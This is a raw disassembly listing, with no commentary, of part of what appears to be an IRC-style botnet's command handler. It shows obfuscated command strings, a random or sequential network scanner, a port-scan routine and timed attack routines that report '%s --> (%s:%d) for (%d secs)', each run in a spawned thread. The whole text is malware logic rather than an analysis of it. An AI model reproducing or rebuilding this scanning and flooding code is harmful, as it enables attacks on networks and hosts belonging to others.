mov ebx, offset aSNoSubnetClass ; "%s No subnet class specified."
loc_410A94: ; CODE XREF: sub_40A938+36EDj
cmp [ebp+arg_14], ecx
jnz short loc_410AB4
cmp [ebp+arg_18], ecx
jnz loc_40D201
push edi
push ebx
push dword ptr [esi+0Ch]
push [ebp+arg_10]
call sub_41CD84
add esp, 10h
xor ecx, ecx
loc_410AB4: ; CODE XREF: sub_40A938+615Fj
cmp [ebp+arg_18], ecx
jmp loc_40D1FB
; ---------------------------------------------------------------------------
loc_410ABC: ; CODE XREF: sub_40A938+6060j
; sub_40A938+6069j ...
mov ecx, [ebp+arg_10]
push 10h
pop edi
lea eax, [ebp+var_5C]
push eax
lea eax, [ebp+var_6C]
push eax
mov [ebp+var_5C], edi
call sub_41DAA2
push eax
call dword_456E98 ; getsockname
xor ebx, ebx
cmp [ebp+arg_54], ebx
jz short loc_410AE9
and [ebp+var_68], 0FFh
jmp short loc_410AFE
; ---------------------------------------------------------------------------
loc_410AE9: ; CODE XREF: sub_40A938+61A6j
cmp [ebp+arg_58], ebx
jz short loc_410AF5
and word ptr [ebp+var_68+2], 0
jmp short loc_410AFE
; ---------------------------------------------------------------------------
loc_410AF5: ; CODE XREF: sub_40A938+61B4j
cmp [ebp+arg_5C], ebx
jz short loc_410AFE
and byte ptr [ebp+var_68+3], 0
loc_410AFE: ; CODE XREF: sub_40A938+61AFj
; sub_40A938+61BBj ...
push edi
push [ebp+var_68]
call dword_456FBC ; inet_ntoa
push eax
lea eax, [ebp+var_2D4]
push eax
call sub_429C40
add esp, 0Ch
cmp [ebp+arg_60], ebx
jz short loc_410B7D
xor edi, edi
cmp [ebp+arg_54], ebx
jz short loc_410B29
push 3
loc_410B26: ; CODE XREF: sub_40A938+61F8j
pop edi
jmp short loc_410B3A
; ---------------------------------------------------------------------------
loc_410B29: ; CODE XREF: sub_40A938+61EAj
cmp [ebp+arg_58], ebx
jz short loc_410B32
push 2
jmp short loc_410B26
; ---------------------------------------------------------------------------
loc_410B32: ; CODE XREF: sub_40A938+61F4j
cmp [ebp+arg_5C], ebx
jz short loc_410B3A
xor edi, edi
inc edi
loc_410B3A: ; CODE XREF: sub_40A938+61EFj
; sub_40A938+61FDj
lea eax, [ebp+var_2D4]
push 30h
push eax
call sub_42AF90
pop ecx
xor bl, bl
test edi, edi
pop ecx
jle loc_410952
loc_410B54: ; CODE XREF: sub_40A938+623Ej
test eax, eax
jz loc_410952
mov byte ptr [eax], 78h
lea eax, [ebp+var_2D4]
push 30h
push eax
call sub_42AF90
pop ecx
inc bl
pop ecx
movsx ecx, bl
cmp ecx, edi
jl short loc_410B54
jmp loc_410952
; ---------------------------------------------------------------------------
loc_410B7D: ; CODE XREF: sub_40A938+61E3j
mov [ebp+var_218], ebx
loc_410B83: ; CODE XREF: sub_40A938+6024j
; sub_40A938+6053j ...
mov eax, [ebp+arg_14]
mov ecx, [ebp+arg_10]
mov [ebp+var_224], eax
mov eax, [ebp+arg_20]
mov [ebp+var_21C], eax
mov eax, [ebp+arg_18]
mov [ebp+var_220], eax
mov [ebp+var_20C], ecx
test eax, eax
lea eax, [ebp+var_2C4]
jz short loc_410BB8
push offset dword_443EF4
jmp short loc_410BBD
; ---------------------------------------------------------------------------
loc_410BB8: ; CODE XREF: sub_40A938+6277j
push offset dword_443EFC
loc_410BBD: ; CODE XREF: sub_40A938+627Ej
push eax
call dword_4370A4 ; lstrcpyA
cmp [ebp+var_218], 0
mov eax, offset aRandom ; "Random"
jnz short loc_410BD7
mov eax, offset aSequential ; "Sequential"
loc_410BD7: ; CODE XREF: sub_40A938+6298j
push [ebp+var_22C]
lea ecx, [ebp+var_2D4]
mov edi, offset aSSSSDWithADela ; "%s %s %s %s:%d with a delay of %d secon"...
push [ebp+var_23C]
push [ebp+var_240]
push [ebp+var_244]
push ecx
push offset aY2lm40nv3yaP4m ; "Y2LM40Nv3Ya/p4MrM1AZiAp1eUok8/eobtx1"
push eax
push offset aMflx2_qu4vy_ ; "mflX2.QU4VY."
push edi
push 8
call sub_4233DE
add esp, 28h
mov [ebp+var_238], eax
lea eax, [ebp+arg_0]
xor ebx, ebx
push eax
lea eax, [ebp+var_2D4]
push ebx
push eax
push offset sub_40242A
push ebx
push ebx
call dword_43717C ; CreateThread
mov ecx, [ebp+var_238]
imul ecx, 2724h
cmp eax, ebx
mov dword_46D70C[ecx], eax
jnz short loc_410C9F
loc_410C48: ; CODE XREF: sub_40A938+667Bj
cmp [ebp+arg_14], 0
mov ebx, dword_43716C
mov edi, offset aSSD_ ; "%s %s (%d)."
jnz short loc_410C7B
cmp [ebp+arg_18], 0
jnz short loc_410C85
call ebx ; dword_43716C
push eax
push offset a4ezrg1ye5hp1au ; "4Ezrg1ye5hp1AUz6N/Zzkas/bbUvL0k.zqt1cpO"...
push offset aMflx2_qu4vy_ ; "mflX2.QU4VY."
push edi
push dword ptr [esi+0Ch]
push [ebp+arg_10]
call sub_41CD84
add esp, 18h
loc_410C7B: ; CODE XREF: sub_40A938+631Fj
cmp [ebp+arg_18], 0
jz loc_4148CF
loc_410C85: ; CODE XREF: sub_40A938+6325j
call ebx ; dword_43716C
push eax
push offset a4ezrg1ye5hp1au ; "4Ezrg1ye5hp1AUz6N/Zzkas/bbUvL0k.zqt1cpO"...
loc_410C8D: ; CODE XREF: sub_40A938+6529j
; sub_40A938+951Dj
push offset aMflx2_qu4vy_ ; "mflX2.QU4VY."
jmp loc_414856
; ---------------------------------------------------------------------------
loc_410C97: ; CODE XREF: sub_40A938+636Dj
push 32h
call dword_43718C ; Sleep
loc_410C9F: ; CODE XREF: sub_40A938+630Ej
cmp [ebp+var_214], ebx
jz short loc_410C97
cmp [ebp+arg_14], ebx
jnz short loc_410D08
cmp [ebp+arg_18], ebx
jnz short loc_410D13
cmp [ebp+arg_1C], ebx
jnz loc_4148CF
cmp [ebp+var_218], 0
mov eax, offset aRandom ; "Random"
jnz short loc_410CCD
mov eax, offset aSequential ; "Sequential"
loc_410CCD: ; CODE XREF: sub_40A938+638Ej
push [ebp+var_22C]
lea ecx, [ebp+var_2D4]
push [ebp+var_23C]
push [ebp+var_240]
push [ebp+var_244]
push ecx
push offset aY2lm40nv3yaP4m ; "Y2LM40Nv3Ya/p4MrM1AZiAp1eUok8/eobtx1"
push eax
push offset aMflx2_qu4vy_ ; "mflX2.QU4VY."
push edi
push dword ptr [esi+0Ch]
push [ebp+arg_10]
call sub_41CD84
add esp, 2Ch
xor ebx, ebx
loc_410D08: ; CODE XREF: sub_40A938+6372j
cmp [ebp+arg_18], ebx
jz loc_4148CF
xor ebx, ebx
loc_410D13: ; CODE XREF: sub_40A938+6377j
cmp [ebp+var_218], ebx
mov eax, offset aRandom ; "Random"
jnz short loc_410D25
mov eax, offset aSequential ; "Sequential"
loc_410D25: ; CODE XREF: sub_40A938+63E6j
push [ebp+var_22C]
lea ecx, [ebp+var_2D4]
push [ebp+var_23C]
push [ebp+var_240]
push [ebp+var_244]
push ecx
push offset aY2lm40nv3yaP4m ; "Y2LM40Nv3Ya/p4MrM1AZiAp1eUok8/eobtx1"
push eax
push offset aMflx2_qu4vy_ ; "mflX2.QU4VY."
push edi
push dword ptr [esi]
push [ebp+arg_10]
call sub_41CD0E
add esp, 2Ch
jmp loc_4148CF
; ---------------------------------------------------------------------------
loc_410D62: ; CODE XREF: sub_40A938+5E68j
push dword ptr [ebx]
push offset aSxytb1_eejq_ ; "SXYtb1.EEjQ."
call edi ; dword_437174
test eax, eax
jz loc_413DDC
push dword ptr [ebx]
push offset aVb1r0N_arr0 ; "vB1r0/N.Arr0"
call edi ; dword_437174
test eax, eax
jz loc_413DDC
push dword ptr [ebx]
push offset a8im6i__c829_ ; "8Im6i..C829."
call edi ; dword_437174
test eax, eax
jz loc_413DDC
push dword ptr [ebx]
push offset aTiyj208fhvn_ ; "tIYj208FHvN."
call edi ; dword_437174
test eax, eax
jz loc_413DDC
push dword ptr [ebx]
push offset a5ngN0zjh2i1 ; "5nG/N0ZJh2i1"
call edi ; dword_437174
test eax, eax
jz loc_413DDC
push dword ptr [ebx]
push offset aMdf9n0kzpx60 ; "mdf9n0kzPX60"
call edi ; dword_437174
test eax, eax
jz loc_413DDC
push dword ptr [ebx]
push offset aAtfv_jgk0x1 ; "/ATfv.jgK0X1"
call edi ; dword_437174
test eax, eax
jz loc_413DDC
push dword ptr [ebx]
push offset aFu6k10irsc1 ; "fu6k10iRsc/1"
call edi ; dword_437174
test eax, eax
jz loc_413DDC
push dword ptr [ebx]
push offset a_luua_bruje0 ; ".lUua.bruje0"
call edi ; dword_437174
test eax, eax
jnz loc_410FDB
xor edi, edi
cmp [ebx+4], edi
jz loc_410FD1
cmp [ebx+8], edi
jz loc_410FD1
cmp [ebx+0Ch], edi
jz loc_410FD1
push 9
call sub_423756
cmp eax, edi
pop ecx
mov [ebp+arg_C], eax
jle short loc_410E66
cmp [ebp+arg_14], 0
mov ebx, offset aJqrlpUxr08Qqdu ; "JQrlp/UXr08/qqduw/ZeDHN/N/Wda.tYScO0znN"...
mov edi, offset aSSD_ ; "%s %s (%d)."
jnz short loc_410E53
cmp [ebp+arg_18], 0
jnz short loc_410E5D
push eax
push ebx
push offset aMflx2_qu4vy_ ; "mflX2.QU4VY."
push edi
push dword ptr [esi+0Ch]
push [ebp+arg_10]
call sub_41CD84
add esp, 18h
loc_410E53: ; CODE XREF: sub_40A938+64FDj
cmp [ebp+arg_18], 0
jz loc_4148CF
loc_410E5D: ; CODE XREF: sub_40A938+6503j
push [ebp+arg_C]
push ebx
jmp loc_410C8D
; ---------------------------------------------------------------------------
loc_410E66: ; CODE XREF: sub_40A938+64EDj
mov eax, [ebp+arg_20]
mov ecx, [ebp+arg_14]
mov dword_454A2C, eax
mov eax, [ebp+arg_18]
mov dword_454A30, eax
mov [ebp+var_840], eax
cmp eax, edi
mov dword_454A28, ecx
mov [ebp+var_838], ecx
lea eax, [ebp+var_95C]
jnz short loc_410E9C
push offset dword_443EFC
jmp short loc_410E9E
; ---------------------------------------------------------------------------
loc_410E9C: ; CODE XREF: sub_40A938+655Bj
push dword ptr [esi]
loc_410E9E: ; CODE XREF: sub_40A938+6562j
push eax
call dword_4370A4 ; lstrcpyA
mov eax, [ebp+arg_10]
mov [ebp+var_964], eax
push dword ptr [ebx+4]
call dword_456F5C ; inet_addr
mov [ebp+var_848], eax
push dword ptr [ebx+8]
call sub_42A030
mov [ebp+var_85C], eax
mov ebx, [ebx+0Ch]
cmp ebx, edi
pop ecx
jnz short loc_410EDF
mov [ebp+var_858], 64h
jmp short loc_410EEC
; ---------------------------------------------------------------------------
loc_410EDF: ; CODE XREF: sub_40A938+6599j
push ebx
call sub_42A030
pop ecx
mov [ebp+var_858], eax
loc_410EEC: ; CODE XREF: sub_40A938+65A5j
cmp [ebp+arg_14], 0
mov ebx, offset aMflx2_qu4vy_ ; "mflX2.QU4VY."
mov edi, offset aSPortPscanStar ; "%s Port pscan started: %s:%d with delay"...
jnz short loc_410F2B
cmp [ebp+arg_18], 0
jnz short loc_410F31
push [ebp+var_858]
push [ebp+var_85C]
push [ebp+var_848]
call dword_456FBC ; inet_ntoa
push eax
push ebx
push edi
push dword ptr [esi+0Ch]
push [ebp+arg_10]
call sub_41CD84
add esp, 1Ch
loc_410F2B: ; CODE XREF: sub_40A938+65C2j
cmp [ebp+arg_18], 0
jz short loc_410F59
loc_410F31: ; CODE XREF: sub_40A938+65C8j
push [ebp+var_858]
push [ebp+var_85C]
push [ebp+var_848]
call dword_456FBC ; inet_ntoa
push eax
push ebx
push edi
push dword ptr [esi]
push [ebp+arg_10]
call sub_41CD0E
add esp, 1Ch
loc_410F59: ; CODE XREF: sub_40A938+65F7j
push [ebp+var_858]
push [ebp+var_85C]
push [ebp+var_848]
call dword_456FBC ; inet_ntoa
push eax
push ebx
push edi
push 9
call sub_4233DE
add esp, 18h
mov [ebp+var_850], eax
lea eax, [ebp+arg_0]
xor edi, edi
push eax
lea eax, [ebp+var_964]
push edi
push eax
push offset sub_407252
push edi
push edi
call dword_43717C ; CreateThread
mov ecx, [ebp+var_850]
imul ecx, 2724h
cmp eax, edi
mov dword_46D70C[ecx], eax
jz loc_410C48
jmp short loc_410FC3
; ---------------------------------------------------------------------------
loc_410FBB: ; CODE XREF: sub_40A938+6692j
push 32h
call dword_43718C ; Sleep
loc_410FC3: ; CODE XREF: sub_40A938+6681j
cmp [ebp+var_834], 0
jz short loc_410FBB
jmp loc_4148CF
; ---------------------------------------------------------------------------
loc_410FD1: ; CODE XREF: sub_40A938+64C8j
; sub_40A938+64D1j ...
mov edi, offset aMflx2_qu4vy_ ; "mflX2.QU4VY."
jmp loc_40BE4A
; ---------------------------------------------------------------------------
loc_410FDB: ; CODE XREF: sub_40A938+64BDj
push dword ptr [ebx]
push offset aKzqshDhric_ ; "kzqSH/dhRIc."
call edi ; dword_437174
test eax, eax
jnz short loc_410FF4
push offset aMflx2_qu4vy_ ; "mflX2.QU4VY."
push 9
jmp loc_412A63
; ---------------------------------------------------------------------------
loc_410FF4: ; CODE XREF: sub_40A938+66AEj
push dword ptr [ebx]
push offset aUycsBekwp0 ; "/uYcs/BEKWP0"
call edi ; dword_437174
test eax, eax
jnz loc_411120
push 0Ah
call sub_423756
test eax, eax
pop ecx
mov [ebp+arg_C], eax
jle short loc_41101E
mov ebx, offset aXlpyr1anpgm0 ; "xLpyR1aNPGm0"
jmp loc_40B89E
; ---------------------------------------------------------------------------
loc_41101E: ; CODE XREF: sub_40A938+66DAj
mov eax, [ebp+arg_14]
and dword_456574, 0
mov dword_45656C, eax
mov eax, [ebp+arg_20]
mov edi, offset aIhfnL6b5x ; "/iHFN/l6B5X/"
mov ebx, offset aSS_ ; "%s %s."
push edi
mov dword_456568, eax
mov eax, [ebp+arg_10]
push offset aXlpyr1anpgm0 ; "xLpyR1aNPGm0"
push ebx
push 0Ah
mov dword_4564B8, eax
call sub_4233DE
add esp, 10h
mov dword_45653C, eax
lea eax, [ebp+arg_0]
push eax
xor eax, eax
push eax
push offset dword_4564B8
push offset sub_407E1C
push eax
push eax
call dword_43717C ; CreateThread
mov ecx, dword_45653C
imul ecx, 2724h
test eax, eax
mov dword_46D70C[ecx], eax
jnz short loc_4110E1
cmp [ebp+arg_14], eax
mov ebx, dword_43716C
mov edi, offset aSSD_ ; "%s %s (%d)."
jnz short loc_4110BD
cmp [ebp+arg_18], eax
jnz short loc_4110C7
call ebx ; dword_43716C
push eax
push offset a4ezrg1ye5hp1au ; "4Ezrg1ye5hp1AUz6N/Zzkas/bbUvL0k.zqt1cpO"...
push offset aXlpyr1anpgm0 ; "xLpyR1aNPGm0"
push edi
push dword ptr [esi+0Ch]
push [ebp+arg_10]
call sub_41CD84
add esp, 18h
loc_4110BD: ; CODE XREF: sub_40A938+6762j
cmp [ebp+arg_18], 0
jz loc_4148CF
loc_4110C7: ; CODE XREF: sub_40A938+6767j
call ebx ; dword_43716C
push eax
push offset a4ezrg1ye5hp1au ; "4Ezrg1ye5hp1AUz6N/Zzkas/bbUvL0k.zqt1cpO"...
push offset aXlpyr1anpgm0 ; "xLpyR1aNPGm0"
jmp loc_414856
; ---------------------------------------------------------------------------
loc_4110D9: ; CODE XREF: sub_40A938+67B0j
push 32h
call dword_43718C ; Sleep
loc_4110E1: ; CODE XREF: sub_40A938+6752j
cmp dword_456574, 0
jz short loc_4110D9
cmp [ebp+arg_14], 0
jnz short loc_41110B
cmp [ebp+arg_18], 0
jnz short loc_411115
push edi
push offset aXlpyr1anpgm0 ; "xLpyR1aNPGm0"
push ebx
push dword ptr [esi+0Ch]
push [ebp+arg_10]
call sub_41CD84
add esp, 14h
loc_41110B: ; CODE XREF: sub_40A938+67B6j
cmp [ebp+arg_18], 0
jz loc_4148CF
loc_411115: ; CODE XREF: sub_40A938+67BCj
push edi
push offset aXlpyr1anpgm0 ; "xLpyR1aNPGm0"
jmp loc_40B035
; ---------------------------------------------------------------------------
loc_411120: ; CODE XREF: sub_40A938+66C7j
push dword ptr [ebx]
push offset aWwfbf_0ptze_ ; "WWFBf.0ptzE."
call edi ; dword_437174
test eax, eax
jnz short loc_411139
push offset aXlpyr1anpgm0 ; "xLpyR1aNPGm0"
push 0Ah
jmp loc_412A63
; ---------------------------------------------------------------------------
loc_411139: ; CODE XREF: sub_40A938+67F3j
push dword ptr [ebx]
push offset aFhzdv1ootfg0 ; "fhzdV1OotFg0"
call edi ; dword_437174
test eax, eax
jnz loc_41128F
push 0Bh
call sub_423756
test eax, eax
pop ecx
mov [ebp+arg_C], eax
jle short loc_411163
mov ebx, offset aWpukb_0uioaOfu ; "WPUkb.0uIoa/OFUur11TNYw0"
jmp loc_40B89E
; ---------------------------------------------------------------------------
loc_411163: ; CODE XREF: sub_40A938+681Fj
mov eax, [ebp+arg_10]
mov [ebp+var_1A2C], eax
mov eax, [ebp+arg_14]
mov [ebp+var_1978], eax
mov eax, [ebp+arg_20]
mov [ebp+var_197C], eax
push dword ptr [esi+0Ch]
lea eax, [ebp+var_1A28]
push eax
call sub_42A500
mov edi, offset aIhfnL6b5x ; "/iHFN/l6B5X/"
mov ebx, offset aSS_ ; "%s %s."
push edi
push offset aWpukb_0uioaOfu ; "WPUkb.0uIoa/OFUur11TNYw0"
push ebx
push 0Bh
call sub_4233DE
add esp, 18h
mov [ebp+var_19A8], eax
lea eax, [ebp+arg_0]
lea ecx, [ebp+var_1A2C]
push eax
xor eax, eax
push eax
push ecx
push offset loc_40A1C0
push eax
push eax
call dword_43717C ; CreateThread
mov ecx, [ebp+var_19A8]
imul ecx, 2724h
test eax, eax
mov dword_46D70C[ecx], eax
jnz short loc_411242
cmp [ebp+arg_14], eax
mov ebx, dword_43716C
mov edi, offset aSSD_ ; "%s %s (%d)."
jnz short loc_411210
cmp [ebp+arg_18], eax
jnz short loc_41121A
call ebx ; dword_43716C
push eax
push offset a4ezrg1ye5hp1au ; "4Ezrg1ye5hp1AUz6N/Zzkas/bbUvL0k.zqt1cpO"...
push offset aWpukb_0uioaOfu ; "WPUkb.0uIoa/OFUur11TNYw0"
push edi
push dword ptr [esi+0Ch]
push [ebp+arg_10]
call sub_41CD84
add esp, 18h
loc_411210: ; CODE XREF: sub_40A938+68B5j
cmp [ebp+arg_18], 0
jz loc_412F27
loc_41121A: ; CODE XREF: sub_40A938+68BAj
call ebx ; dword_43716C
push eax
push offset a4ezrg1ye5hp1au ; "4Ezrg1ye5hp1AUz6N/Zzkas/bbUvL0k.zqt1cpO"...
push offset aWpukb_0uioaOfu ; "WPUkb.0uIoa/OFUur11TNYw0"
push edi
push dword ptr [esi]
push [ebp+arg_10]
call sub_41CD0E
jmp loc_40FC13
; ---------------------------------------------------------------------------
loc_411237: ; CODE XREF: sub_40A938+6911j
push 1F4h
call dword_43718C ; Sleep
loc_411242: ; CODE XREF: sub_40A938+68A5j
cmp [ebp+var_1970], 0
jz short loc_411237
cmp [ebp+arg_14], 0
jnz short loc_41126C
cmp [ebp+arg_18], 0
jnz short loc_411276
push edi
push offset aWpukb_0uioaOfu ; "WPUkb.0uIoa/OFUur11TNYw0"
push ebx
push dword ptr [esi+0Ch]
push [ebp+arg_10]
call sub_41CD84
add esp, 14h
loc_41126C: ; CODE XREF: sub_40A938+6917j
cmp [ebp+arg_18], 0
jz loc_412F27
loc_411276: ; CODE XREF: sub_40A938+691Dj
push edi
push offset aWpukb_0uioaOfu ; "WPUkb.0uIoa/OFUur11TNYw0"
push ebx
push dword ptr [esi]
push [ebp+arg_10]
call sub_41CD0E
add esp, 14h
jmp loc_412F27
; ---------------------------------------------------------------------------
loc_41128F: ; CODE XREF: sub_40A938+680Cj
push dword ptr [ebx]
push offset aUmk7x0pwyw9Qrn ; "Umk7x0PwyW9/QRn4z10ge1I1"
call edi ; dword_437174
test eax, eax
jnz short loc_4112A8
push offset aWpukb_0uioaOfu ; "WPUkb.0uIoa/OFUur11TNYw0"
push 0Bh
jmp loc_412A63
; ---------------------------------------------------------------------------
loc_4112A8: ; CODE XREF: sub_40A938+6962j
push dword ptr [ebx]
push offset a7fugu_n0u2m1 ; "7FUgU.N0U2m1"
call edi ; dword_437174
test eax, eax
jnz loc_4114D8
xor edi, edi
cmp [ebx+4], edi
jz loc_4114CE
cmp [ebx+8], edi
jz loc_4114CE
cmp [ebx+0Ch], edi
jz loc_4114CE
cmp [ebx+10h], edi
jz loc_4114CE
push 0Dh
call sub_423737
cmp eax, 32h
pop ecx
mov [ebp+arg_C], eax
jle short loc_411333
cmp [ebp+arg_14], 0
mov ebx, offset aJqrlpUxr08Qqdu ; "JQrlp/UXr08/qqduw/ZeDHN/N/Wda.tYScO0znN"...
mov edi, offset aSSD_ ; "%s %s (%d)."
jnz short loc_41131B
cmp [ebp+arg_18], 0
jnz short loc_411325
push eax
push ebx
push offset aBjatzQyrs11 ; "BjAtz/qyRS11"
push edi
push dword ptr [esi+0Ch]
push [ebp+arg_10]
call sub_41CD84
add esp, 18h
loc_41131B: ; CODE XREF: sub_40A938+69C5j
cmp [ebp+arg_18], 0
jz loc_4148CF
loc_411325: ; CODE XREF: sub_40A938+69CBj
push [ebp+arg_C]
push ebx
loc_411329: ; CODE XREF: sub_40A938+6B7Bj
push offset aBjatzQyrs11 ; "BjAtz/qyRS11"
jmp loc_414856
; ---------------------------------------------------------------------------
loc_411333: ; CODE XREF: sub_40A938+69B5j
mov eax, [ebp+arg_14]
mov [ebp+var_1160], eax
mov eax, [ebp+arg_18]
mov [ebp+var_1164], eax
cmp eax, edi
lea eax, [ebp+var_11F4]
jnz short loc_411354
push dword ptr [esi+0Ch]
jmp short loc_411356
; ---------------------------------------------------------------------------
loc_411354: ; CODE XREF: sub_40A938+6A15j
push dword ptr [esi]
loc_411356: ; CODE XREF: sub_40A938+6A1Aj
push eax
call dword_4370A4 ; lstrcpyA
mov eax, [ebp+arg_10]
push 7Fh
mov [ebp+var_1278], eax
push dword ptr [ebx+4]
lea eax, [ebp+var_1274]
push eax
call sub_429C40
push dword ptr [ebx+8]
call sub_42A030
mov [ebp+var_1170], eax
push dword ptr [ebx+0Ch]
call sub_42A030
mov [ebp+var_116C], eax
push dword ptr [ebx+10h]
call sub_42A030
add esp, 18h
cmp [ebp+arg_14], 0
mov [ebp+var_1168], eax
mov edi, offset aSSDForDSecs_ ; "%s --> (%s:%d) for (%d secs)."
jnz short loc_4113E0
cmp [ebp+arg_18], 0
jnz short loc_4113E6
push dword ptr [ebx+0Ch]
call sub_42A030
pop ecx
push eax
push dword ptr [ebx+8]
call sub_42A030
pop ecx
push eax
push dword ptr [ebx+4]
push offset aBjatzQyrs11 ; "BjAtz/qyRS11"
push edi
push dword ptr [esi+0Ch]
push [ebp+arg_10]
call sub_41CD84
add esp, 1Ch
loc_4113E0: ; CODE XREF: sub_40A938+6A75j
cmp [ebp+arg_18], 0
jz short loc_411410
loc_4113E6: ; CODE XREF: sub_40A938+6A7Bj
push dword ptr [ebx+0Ch]
call sub_42A030
pop ecx
push eax
push dword ptr [ebx+8]
call sub_42A030
pop ecx
push eax
push dword ptr [ebx+4]
push offset aBjatzQyrs11 ; "BjAtz/qyRS11"
push edi
push dword ptr [esi]
push [ebp+arg_10]
call sub_41CD0E
add esp, 1Ch
loc_411410: ; CODE XREF: sub_40A938+6AACj
push dword ptr [ebx+0Ch]
call sub_42A030
pop ecx
push eax
push dword ptr [ebx+8]
call sub_42A030
pop ecx
push eax
push dword ptr [ebx+4]
push offset aBjatzQyrs11 ; "BjAtz/qyRS11"
push edi
push 0Dh
call sub_4233DE
add esp, 18h
mov [ebp+var_1174], eax
lea eax, [ebp+arg_0]
xor edi, edi
push eax
lea eax, [ebp+var_1278]
push edi
push eax
push offset sub_4228EE
push edi
push edi
call dword_43717C ; CreateThread
mov ecx, [ebp+var_1174]
imul ecx, 2724h
cmp eax, edi
mov dword_46D70C[ecx], eax
jnz short loc_4114C0
cmp [ebp+arg_14], 0
mov ebx, dword_43716C
mov edi, offset aSSD_ ; "%s %s (%d)."
jnz short loc_4114A1
cmp [ebp+arg_18], 0
jnz short loc_4114AB
call ebx ; dword_43716C
push eax
push offset a4ezrg1ye5hp1au ; "4Ezrg1ye5hp1AUz6N/Zzkas/bbUvL0k.zqt1cpO"...
push offset aBjatzQyrs11 ; "BjAtz/qyRS11"
push edi
push dword ptr [esi+0Ch]
push [ebp+arg_10]
call sub_41CD84
add esp, 18h
loc_4114A1: ; CODE XREF: sub_40A938+6B45j
cmp [ebp+arg_18], 0
jz loc_4148CF
loc_4114AB: ; CODE XREF: sub_40A938+6B4Bj
call ebx ; dword_43716C
push eax
push offset a4ezrg1ye5hp1au ; "4Ezrg1ye5hp1AUz6N/Zzkas/bbUvL0k.zqt1cpO"...
jmp loc_411329
; ---------------------------------------------------------------------------
loc_4114B8: ; CODE XREF: sub_40A938+6B8Fj
push 32h
call dword_43718C ; Sleep
loc_4114C0: ; CODE XREF: sub_40A938+6B34j
cmp [ebp+var_115C], 0
jz short loc_4114B8
jmp loc_4148CF
; ---------------------------------------------------------------------------
loc_4114CE: ; CODE XREF: sub_40A938+6986j
; sub_40A938+698Fj ...
mov edi, offset aBjatzQyrs11 ; "BjAtz/qyRS11"
jmp loc_40BE4A
; ---------------------------------------------------------------------------
loc_4114D8: ; CODE XREF: sub_40A938+697Bj
push dword ptr [ebx]
push offset aW3dwl46o0u0 ; "w3dWL/46o0u0"
call edi ; dword_437174
test eax, eax
jnz short loc_4114EF
push offset aBjatzQyrs11 ; "BjAtz/qyRS11"
jmp loc_4127E3
; ---------------------------------------------------------------------------
loc_4114EF: ; CODE XREF: sub_40A938+6BABj
push dword ptr [ebx]
push offset aUbqs_hzpkh1 ; "/uBQS.HZPkh1"
call edi ; dword_437174
test eax, eax
jz loc_413BBC
push dword ptr [ebx]
push offset a6x7zf1eztny_ ; "6x7zf1EztnY."
call edi ; dword_437174
test eax, eax
jz loc_413BBC
push dword ptr [ebx]
push offset aFyflu0ji3xh_ ; "FyFlU0jI3XH."
call edi ; dword_437174
test eax, eax
jz loc_413BBC
push dword ptr [ebx]
push offset a7otcu0fic6v0 ; "7otcU0FiC6V0"
call edi ; dword_437174
test eax, eax
jz loc_413BBC
push dword ptr [ebx]
push offset aDnjyk0fwki__ ; "dnjYk0fWkI.."
call edi ; dword_437174
test eax, eax
jnz short loc_41154A
push offset aBvygm_afzkh0 ; "BVYGm.aFzkh0"
jmp loc_4127E3
; ---------------------------------------------------------------------------
loc_41154A: ; CODE XREF: sub_40A938+6C06j
push dword ptr [ebx]
push offset aXmz20Gjkq ; "xMz20//gJkQ/"
call edi ; dword_437174
test eax, eax
jnz loc_411763
xor edi, edi
cmp [ebx+4], edi
jz loc_411759
cmp [ebx+8], edi
jz loc_411759
cmp [ebx+0Ch], edi
jz loc_411759
push 0Dh
call sub_423737
cmp eax, 32h
pop ecx
mov [ebp+arg_C], eax
jle short loc_4115CC
cmp [ebp+arg_14], 0
mov ebx, offset aJqrlpUxr08Qqdu ; "JQrlp/UXr08/qqduw/ZeDHN/N/Wda.tYScO0znN"...
mov edi, offset aSSD_ ; "%s %s (%d)."
jnz short loc_4115B4
cmp [ebp+arg_18], 0
jnz short loc_4115BE
push eax
push ebx
push offset aLcgg60qk2mf0 ; "Lcgg60QK2mf0"
push edi
push dword ptr [esi+0Ch]
push [ebp+arg_10]
call sub_41CD84
add esp, 18h
loc_4115B4: ; CODE XREF: sub_40A938+6C5Ej
cmp [ebp+arg_18], 0
jz loc_4148CF
loc_4115BE: ; CODE XREF: sub_40A938+6C64j
push [ebp+arg_C]
push ebx
loc_4115C2: ; CODE XREF: sub_40A938+6E06j
push offset aLcgg60qk2mf0 ; "Lcgg60QK2mf0"
jmp loc_414856
; ---------------------------------------------------------------------------
loc_4115CC: ; CODE XREF: sub_40A938+6C4Ej
mov eax, [ebp+arg_14]
mov [ebp+var_1AF8], eax
mov eax, [ebp+arg_18]
mov [ebp+var_1AFC], eax
cmp eax, edi
lea eax, [ebp+var_1B90]
jnz short loc_4115ED
push dword ptr [esi+0Ch]
jmp short loc_4115EF
; ---------------------------------------------------------------------------
loc_4115ED: ; CODE XREF: sub_40A938+6CAEj
push dword ptr [esi]
loc_4115EF: ; CODE XREF: sub_40A938+6CB3j
push eax
call dword_4370A4 ; lstrcpyA
mov eax, [ebp+arg_10]
push 7Fh
mov [ebp+var_1C14], eax
push dword ptr [ebx+4]
lea eax, [ebp+var_1C10]
push eax
call sub_429C40
push dword ptr [ebx+8]
call sub_42A030
mov [ebp+var_1B08], eax
push dword ptr [ebx+0Ch]
call sub_42A030
add esp, 14h
cmp [ebp+arg_14], 0
mov [ebp+var_1B04], eax
mov edi, offset aLcgg60qk2mf0 ; "Lcgg60QK2mf0"
jnz short loc_41166B
cmp [ebp+arg_18], 0
jnz short loc_411671
push dword ptr [ebx+0Ch]
call sub_42A030
pop ecx
push eax
push dword ptr [ebx+8]
call sub_42A030
pop ecx
push eax
push dword ptr [ebx+4]
push edi
push offset aSSForDSecsWith ; "%s --> (%s) for %d secs with %d ms dela"...
push dword ptr [esi+0Ch]
push [ebp+arg_10]
call sub_41CD84
add esp, 1Ch
loc_41166B: ; CODE XREF: sub_40A938+6D00j
cmp [ebp+arg_18], 0
jz short loc_41169B
loc_411671: ; CODE XREF: sub_40A938+6D06j
push dword ptr [ebx+0Ch]
call sub_42A030
pop ecx
push eax
push dword ptr [ebx+8]
call sub_42A030
pop ecx
push eax
push dword ptr [ebx+4]
push edi
push offset aSSForDSecsWith ; "%s --> (%s) for %d secs with %d ms dela"...
push dword ptr [esi]
push [ebp+arg_10]
call sub_41CD0E
add esp, 1Ch
loc_41169B: ; CODE XREF: sub_40A938+6D37j
push dword ptr [ebx+0Ch]
call sub_42A030
pop ecx
push eax
